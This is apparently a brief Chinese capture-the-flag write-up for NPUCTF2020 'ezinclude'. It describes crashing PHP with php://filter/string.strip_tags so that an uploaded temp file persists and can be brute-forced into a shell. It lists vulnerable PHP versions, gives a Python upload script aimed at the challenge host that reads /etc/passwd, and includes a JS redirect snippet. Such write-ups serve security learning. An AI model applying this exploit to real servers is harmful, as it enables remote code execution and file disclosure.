[NPUCTF2020]ezinclude js页面跳转&?string.strip_tags
使用php://filter/string.strip_tags导致php崩溃清空堆栈重启,如果在同时上传了一个文件,那么这个tmp file就会一直留在tmp目录,再进行文件名爆破就可以getshell
php://filter/string.strip_tags使用条件:
•php7.0.0-7.1.2可以利用, 7.1.2x版本的已被修复
• php7.1.3-7.2.1可以利用, 7.2.1x版本的已被修复
• php7.2.2-7.2.8可以利用, 7.2.9一直到7.3到现在的版本已被修复
py上传文件脚本:
import requests from io import BytesIO payload = "<?php phpinfo()?>" file_data = { 'file': BytesIO(payload.encode()) } url = "http://61e76a22-5160-4a29-a95a-a6ac3239fc55.node4.buuoj.cn:81/flflflflag.php?"\ +"file=php://filter/string.strip_tags/resource=/etc/passwd" r = requests.post(url=url, files=file_data, allow_redirects=False)
网页使用js跳转代码:
<script language="javascript" type="text/javascript"> window.location.href="404.html"; </script>